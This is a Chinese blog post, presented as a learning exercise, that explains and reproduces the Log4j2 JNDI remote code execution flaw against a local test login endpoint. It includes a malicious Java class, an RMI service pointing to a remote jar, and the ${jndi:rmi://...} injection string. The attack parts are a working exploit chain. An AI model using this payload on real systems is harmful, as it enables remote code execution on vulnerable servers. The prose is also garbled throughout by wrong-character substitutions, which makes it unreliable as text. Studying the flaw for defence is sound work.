1 事件背景
通过一周工夫的Log4j2 RCE事件的发酵,事件也变也越来越简单和乏味,就连 Log4j 官网紧急公布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有齐全解决问题,而后进而持续公布了 2.16.0 版本。大家都认为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。
置信各位小伙伴都在加班加点熬夜紧急修复和改过Apache Log4j爆出的安全漏洞,各企业都瑟瑟发抖,连网警都告诉各位站长,包含我也收到了湖南长沙高新区网警的告诉。
我也紧急公布了两篇教程,给各位小伙伴支招,我之前公布的教程仍然无效。
【紧急】Apache Log4j任意代码执行破绽平安危险降级修复教程
【紧急】持续折腾,Log4j再发2.16.0,强烈建议降级
尽管,各位小伙伴依照教程一步一步操作能疾速解决问题,然而很多小伙伴仍旧有很多纳闷,不知其所以然。在这里我给大家详细分析并复现一下Log4j2破绽产生的起因,纯正是以学习为目标。
Log4j2破绽总体来说是通过JNDI注入恶意代码来实现攻打,具体的操作形式有RMI和LDAP等。
2 JNDI介绍
2.1 JNDI定义
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是Java中为命名和目录服务提供接口的API,JNDI次要由两局部组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过惟一标识符绑定到一个上下文Context,同时可通过惟一标识符查找取得对象,而Directory次要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名称获取对象的属性,同时也能够操作属性。
2.2 JNDI架构
Java应用程序通过JNDI API拜访目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,而后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI外部已实现了对LDAP,DNS, RMI等目录服务器的操作API。其架构图如下所示:
2.3 JNDI外围API
| 类名 | 解释 |
| -------- | -------- |
| Context | 命名服务的接口类,由很多的name-to-object的健值对组成,能够通过该接口将健值对绑定到该类中,也可通过该类依据name获取其绑定的对象 |
| InitialContextNaming | (命名服务)操作的入口类,通过该类可对命名服务进行相干的操作 |
| DirContext | Directory目录服务的接口类,该类继承自Context,在Naming服务的根底上扩大了对于对象属性的绑定和获取操作 |
| InitialDirContext | Directory目录服务相干操作的入口类,通过该类可进行目录相干服务的操作 |
Java通过JNDI API去调用服务。例如,咱们大家相熟的odbc数据连贯,就是通过JNDI的形式来调用数据源的。以下代码大家应该很相熟:
<?xml version="1.0" encoding="UTF-8"?><Context> <Resource name="jndi/person" auth="Container" type="javax.sql.DataSource" username="root" password="root" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/test" maxTotal="8" maxIdle="4"/></Context>
在Context.xml文件中咱们能够定义数据库驱动,url、账号密码等要害信息,其中name这个字段的内容为自定义。上面应用InitialContext对象获取数据源
Connection conn=null; PreparedStatement ps = null;ResultSet rs = null;try { Context ctx=new InitialContext(); Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //援用数据源 DataSource ds=(Datasource)datasourceRef; conn = ds.getConnection(); //省略局部代码 ... c.close(); } catch(Exception e) { e.printStackTrace(); } finally { if(conn!=null) { try { conn.close(); } catch(SQLException e) { } } }
是不是很相熟呢?JNDI的其余利用在此我就不多做介绍了,如果还不理解JNDI/RMI/LDAP等相干概念的小伙伴请自行百度一下。
3 攻打原理
上面我以RMI的形式为例,具体复现步骤和剖析起因。解释根本攻打原理之前,咱们先来看一张时序图:
1、攻击者首先公布一个RMI服务,此服务将绑定一个援用类型的RMI对象。在援用对象中指定一个近程的含有恶意代码的类。例如:蕴含 system.exit(1) 等相似的危险操作和恶意代码的下载地址。
2、攻击者再公布另一个恶意代码下载服务,此服务能够下载所有含有恶意代码的类。
3、攻击者利用Log4j2的破绽注入RMI调用,例如:logger.info("日志信息 ${jndi:rmi://rmi-service:port/example}")。
4、调用RMI后将获取到援用类型的RMI近程对象,该对象将就加载恶意代码并执行。
4 破绽复现
4.1 创立恶意代码
创立恶意代码相干类,以下代码仅供学习:
package com.tom.example.log4j;public class HackedClassFactory { public HackedClassFactory(){ System.out.println("程序行将终止"); System.exit(1); }}
创立HackedClassFactory类的定义,在构造函数里写入终止程序运行的恶意代码。
4.2 公布恶意代码
将HackedClassFactory类打成jar包,公布到HTTP服务器上,能通过简略的Get申请失常下载即可。
4.3 创立RMI服务
编写如下代码,并运行程序:
package com.tom.example.rmi;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.util.Hashtable;import com.sun.jndi.rmi.registry.ReferenceWrapper;public class HackedRmiService { public static void main(String[] args) { try { int port = 2048; //设置RMI服务近程监听端口 //创立并公布RMI服务 LocateRegistry.createRegistry(port); Hashtable<String, Object> env = new Hashtable<String,Object>(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port); Context context = new InitialContext(env); String serviceName = "example"; String serviceClassName = "com.tom.example.log4j.HackedClassFactory"; //指定恶意代码的下载地址 Reference refer = new Reference( serviceName, serviceClassName, "http://127.0.0.1/example/classes.jar"); ReferenceWrapper wrapper = new ReferenceWrapper(refer); //为RMI服务绑定一个援用类型的对象,此对象能够被近程拜访 context.bind(serviceName,wrapper); }catch (Exception e){ e.printStackTrace(); } }}
RMI服务启动之后,即公布了监听端口为2048的RMI服务。
运行 netstat -ano | find "2048" 命令测验,失去如下后果,阐明RMI服务曾经失常启动,如下图:
4.4 注入恶意代码
上面咱们利用Log4j的破绽注入恶意代码,有已知用户登录的业务场景,小伙伴们先不论它是如何实现的,其代码如下:
@RequestMapping(value="/login")public ResponseEntity login(String loginName,String loginPass){ ResultMsg<?> data = memberService.login(loginName,loginPass); //演示代码,省略业务逻辑,默认为登录胜利 log.info("登录胜利",loginName); String json = JSON.toJSONString(data); return ResponseEntity .ok() .contentType(MediaType.APPLICATION_JSON) .body(json);}
利用Postman测试,首先失常拜访能失去冀望的后果,如下图所示:
用户登录胜利后会失常返回token,这看上去是一个惯例操作。仔细的小伙发现,在登录胜利之后,后盾会打印一条日志且输入登录的用户名。
接下来,我做一个非常规操作。将用户名输出为 ${jndi:rmi://localhost:2048/example}
咱们发现程序曾经无奈响应,再看后盾日志,曾经终止运行。
这里仅仅只是演示成果,我编写的恶意代码只是终止程序,如果攻击者注入的是其余恶意代码,那结果将不堪设想。
5 源码剖析
通过以上案例还原了攻击者利用Log4j的破绽对目标程序进行攻打的残缺过程,接下来剖析一下Log4j的源码从而理解根本原因。其罪魁祸首是Log4j2 的MessagePatternConverter组件中的format()办法,Log4j在记录日志的时候会间接的调用该办法,具体源码如下:
从源码中咱们能够发现该办法会截取 $ 和 { } 之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协定格局则进行JNDI形式的RMI调用,从而触发原生的RMI服务调用。具体调用地位在StrSubstitutor的substitute()办法:
private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) { //此处省略局部代码 ... this.checkCyclicSubstitution(varName, (List)priorVariables); ((List)priorVariables).add(varName); String varValue = this.resolveVariable(event, varName, buf, startPos, pos); if (varValue == null) { varValue = varDefaultValue; } //此处省略局部代码 ... }
上述代码中的resolveVariable()最终会调用InitialContext的lookup()办法:
protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) { StrLookup resolver = this.getVariableResolver(); return resolver == null ? null : resolver.lookup(event, variableName);}
通过断点调试,咱们的确发现调用了RMI服务,下图所示:
最终恶意代码通过RMI加载实现当前,会调用javax.naming.spi.NamingManager的getObjectFactoryFromReference()办法加载恶意代码,也就是咱们之前写的com.tom.example.log4j.HackedClassFactory类。首先会在尝试本地找,如果本地找不到会通过近程地址加载,也就是咱们公布的下载服务,即http://127.0.0.1/example/clas...
加载近程代码之后,通过反射调用结构器创立攻打类的实例,而恶意代码编写在结构器中,所以在被攻击者的程序中间接执行了恶意代码。
看到这里,小伙伴们是不是有种和SQL注入一模一样的感觉。
5 危险条件
该破绽须要满足以下条件才有可能被攻打:
1、首先应用的是Logj4j2的破绽版本,即 <= 2.14.1的版本。
2、攻击者有机会注入恶意代码,例如零碎中记录的日志信息没有任何非凡过滤。
3、攻击者须要公布RMI近程服务和恶意代码下载服务。
4、被攻击者的网络能够拜访到RMI服务和恶意代码下载服务,即被攻击者的服务器能够随便拜访公网,或者在内网公布过相似的危险服务。
5、被攻击者在JVM中开启了RMI/LDAP等协定的truseURLCodebase属性为ture。
以上就是我对Log4j2 RCE破绽的残缺复现及根本原因剖析,当然最高效的形式还是敞开Lookup相干性能。尽管,官网也在紧急修复,但波及到软件降级存在肯定危险,还有可能须要大量的反复测试工作。
我在之前紧急公布的教程仍然无效,大家能够持续参照用最高效牢靠的形式解决问题。
【紧急】Apache Log4j任意代码执行破绽平安危险降级修复教程
【紧急】持续折腾,Log4j再发2.16.0,强烈建议降级
关注微信公众号『 Tom弹架构 』回复“Spring”可获取残缺源码。
本文为“Tom弹架构”原创,转载请注明出处。技术在于分享,我分享我高兴!如果您有任何倡议也可留言评论或私信,您的反对是我保持创作的能源。关注微信公众号『 Tom弹架构 』可获取更多技术干货!
原创不易,保持很酷,都看到这里了,小伙伴记得点赞、珍藏、在看,一键三连加关注!如果你感觉内容太干,能够分享转发给敌人滋润滋润!